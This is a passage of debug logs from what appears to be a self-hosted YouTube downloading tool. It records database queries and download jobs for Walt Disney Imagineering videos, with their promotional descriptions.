\u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "10031d15-e808-4689-9dd1-e3cd8caf0166", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", false, false, 17, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, false, 2, [], 98, ~U[2025-10-06 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", nil, false, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, 2, ~U[2025-10-06 00:00:00Z]] 18:55:11.749 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.750 [debug] QUERY OK source="media_items" db=1.5ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-29 00:00:00Z], 2] 18:55:11.753 [debug] QUERY OK source="media_items" db=2.1ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "390790bc-99ee-499b-8f7a-50311736f1b0", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", false, false, 18, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, false, 2, [], 98, ~U[2025-09-29 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", nil, false, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, 2, ~U[2025-09-29 00:00:00Z]] 18:55:11.754 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.755 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 00:00:00Z], 2] 18:55:11.758 [debug] QUERY OK source="media_items" db=2.3ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "55912a75-9ae8-47b3-b30d-d277eeda6e8f", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", false, false, 19, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, false, 2, [], 98, ~U[2025-09-22 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", nil, false, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].NA", false, 2, ~U[2025-09-22 00:00:00Z]] 18:55:11.759 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.760 [debug] QUERY OK source="media_items" db=0.7ms idle=6.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-15 00:00:00Z], 2] 18:55:11.763 [debug] QUERY OK source="media_items" db=2.3ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "7afe65e3-8771-42de-a75c-2bd58618ca88", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", false, false, 20, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", false, false, 2, [], 98, ~U[2025-09-15 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", nil, false, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", false, 2, ~U[2025-09-15 00:00:00Z]] 18:55:11.764 [debug] QUERY OK source="sources" db=0.2ms idle=8.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], 2] 18:55:11.766 [debug] QUERY OK source="media_items" db=1.1ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:55:11.768 [debug] QUERY OK source="tasks" db=0.2ms idle=4.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1705, 11511, ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z]] 18:55:11.769 [debug] QUERY OK source="tasks" db=0.2ms idle=2.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1706, 12001, ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z]] 18:55:11.771 [debug] QUERY OK source="tasks" db=0.3ms idle=2.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1707, 12518, ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z]] 18:55:11.772 [debug] QUERY OK source="media_items" db=0.9ms idle=2.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:55:11.773 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:55:11.775 [info] {"args":{"id":11511},"id":1705,"meta":{},"system_time":1774824911775438337,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:11.775 [info] {"args":{"id":12001},"id":1706,"meta":{},"system_time":1774824911775506910,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:11.776 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 18:55:11.776 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:55:11.776 [debug] QUERY OK source="media_items" db=0.7ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 18:55:11.776 [debug] QUERY OK source="tasks" db=0.6ms idle=0.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1708, 2, ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z]] 18:55:11.776 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:55:11.777 [debug] QUERY OK source="sources" db=0.5ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.777 [info] {"args":{"id":2},"id":1691,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":20246424,"event":"job:stop","queue_time":452937,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:55:11.777 [debug] QUERY OK source="sources" db=0.5ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.777 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.9ms SELECT m0."id", m0."name", 